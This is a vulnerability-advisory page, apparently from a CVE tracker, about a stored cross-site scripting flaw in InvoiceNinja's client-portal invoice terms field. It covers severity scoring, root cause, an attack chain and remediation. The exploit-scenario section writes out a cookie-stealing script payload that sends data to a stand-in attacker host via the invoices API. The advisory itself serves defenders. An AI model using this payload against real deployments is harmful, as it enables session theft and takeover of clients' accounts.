Skip to main content

InvoiceNinja CVE-2026-71233

| EUVDEUVD-2026-53306 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-05 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c GHSA-84j5-x242-f7h8
8.7
CVSS 3.1 · Vendor: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privilege InvoiceNinja account
  2. Delivery
    Inject XSS payload into invoice terms field via REST API
  3. Exploit
    Client receives invoice through normal business workflow
  4. Install
    Client opens invoice in portal
  5. C2
    Injected script executes in client browser
  6. Execute
    Exfiltrate session cookie to attacker server
  7. Impact
    Take over client portal account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold an active InvoiceNinja account with invoice creation or editing permissions (reflected by PR:L in the CVSS vector). A client victim must also open the crafted invoice in the client portal (UI:R), requiring either normal business workflow or social engineering to prompt the viewing action. The vulnerable code path is specific to the invoice or quote 'terms' field - line-item description fields have a separate code path addressed in CVE-2026-33628. Exploitation is limited to the client portal rendering context; any admin or staff-facing invoice view that does not use {!! $entity->terms !!} would not be affected. No non-default configuration is required - the client portal is a standard InvoiceNinja feature enabled by default. Exploitation is limited by the requirement for low-privilege credentials and victim interaction; fully unauthenticated or zero-click exploitation is not possible.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, score 8.7) maps well to the described attack: network-accessible, low complexity, attacker requires low-level InvoiceNinja credentials (invoice creation rights), a client victim must open the invoice (UI:R), and the scope change (S:C) reflects that the XSS crosses from the vendor/admin context into the client portal session. PR:L is accurate and important - this is not unauthenticated exploitation; the attacker pool is limited to internal staff, contractors, or anyone with invoice creation access. No EPSS data was provided, no CISA KEV listing exists, and no public exploit code has been identified, meaning exploitation probability signals are absent. Real-world risk is highest for multi-tenant or SaaS InvoiceNinja deployments where partially trusted users (e.g., bookkeepers, freelancers) hold invoice creation rights and can target high-value client portal accounts.

Exploit ScenarioDerived

An authenticated employee or subcontractor with invoice creation rights sends a PUT request to /api/v1/invoices/{id} setting the terms field to a JavaScript payload such as <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. The invoice is then sent to a business client through normal workflow; when the client opens it in the InvoiceNinja client portal, the script executes in their browser, exfiltrating the session cookie and enabling the attacker to impersonate the client. No public proof-of-concept has been identified, but exploitation requires only standard REST API knowledge and low-privilege platform credentials.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Stored XSS in InvoiceNinja v5-stable allows an authenticated user with invoice creation access to inject arbitrary JavaScript into the invoice terms field, which executes in a business client's browser when they view the invoice in the client portal. The attack leverages Laravel Blade's raw unescaped output directive in resources/views/portal/ninja2020/invoices/includes/terms.blade.php, with no HTML sanitization performed in StoreInvoiceRequest.php, enabling session cookie theft and full client account takeover. This is a distinct code path from the previously published CVE-2026-33628 (line-item description XSS), and no public exploit has been identified at time of analysis.

RemediationAI

The primary fix is to replace the raw Blade directive {!! $entity->terms !!} in resources/views/portal/ninja2020/invoices/includes/terms.blade.php with the auto-escaping {{ $entity->terms }}, or alternatively apply an HTML purification library (such as HTMLPurifier) in StoreInvoiceRequest.php before the terms value is persisted - the latter would also protect any other rendering contexts. Check https://github.com/invoiceninja/invoiceninja for a released patched version; no specific fix version was confirmed in the available data, so patch availability must be independently verified. As a compensating control, restrict invoice creation and editing permissions exclusively to fully trusted internal users, which reduces the attacker surface but does not eliminate the vulnerability. Deploying a strict Content-Security-Policy header on the client portal that disallows unsafe-inline scripts would substantially reduce XSS impact, though compatibility testing with portal JavaScript functionality is required. Note that this vulnerability is a distinct code path from CVE-2026-33628; patching one does not remediate the other.

Affected VersionsENISA

invoiceninja 5.0.0

Affected Packages

euvd invoiceninja no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

InvoiceNinja is a PHP invoicing platform built on the Laravel framework. The root cause (CWE-79, Stored XSS) lies in the use of Laravel Blade's raw unescaped output directive {!! $entity->terms !!} in resources/views/portal/ninja2020/invoices/includes/terms.blade.php. The safe equivalent - {{ $entity->terms }} - auto-escapes HTML entities; the raw directive does not. Compounding this, StoreInvoiceRequest.php performs only newline stripping on the terms field before persistence, providing no HTML purification or allowlist-based sanitization. This means attacker-controlled markup stored in the database is written directly into the portal HTML response, satisfying the classic stored XSS pattern. The REST API endpoint PUT /api/v1/invoices/{id} is the write path. No CPE string was provided in the input data.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

PR:L for required invoice-creator credentials, UI:R for mandatory client interaction, S:C for cross-context session impact; no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c).

CVSS VectorVendor: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

InvoiceNinja v5-stable renders an invoice or quote's "terms" field in the client portal using Laravel Blade's raw output directive {!! $entity->terms !!} (resources/views/portal/ninja2020/invoices/includes/terms.blade.php) with no HTML sanitization. StoreInvoiceRequest.php only strips newlines from the field and does not purify HTML. An authenticated user with invoice creation access can set the terms field via the REST API (PUT /api/v1/invoices/{id}) to an HTML/JavaScript payload that executes in the client's browser when they view the invoice, enabling session cookie theft and client account takeover. This is a distinct code path from the previously published invoice line-item description field XSS (GHSA-98wm-cxpw-847p / CVE-2026-33628).

Executive ViewAI

Why It Matters

InvoiceNinja v5-stable contains a critical stored XSS vulnerability allowing users with invoice creation privileges to inject malicious code that executes in customer browsers, enabling session hijacking and complete client account takeover. This vulnerability directly threatens customer data security, creates regulatory breach liability, and requires immediate mitigation to prevent customer account compromise.

Business Impact: High
Compensating Controls

Restrict invoice creation privileges to essential personnel only; implement Web Application Firewall rules to detect and block XSS payloads in invoice terms fields; deploy HTML sanitization library (e.g., HTML Purifier) to escape all unescaped user input in invoice rendering; enforce strict Content Security Policy headers to prevent inline script execution; continuously monitor and audit client portal access logs for anomalous login patterns; maintain detailed audit trails of all invoice modifications and client account access.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Medium
popular open-source self-hosted invoicing platform
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy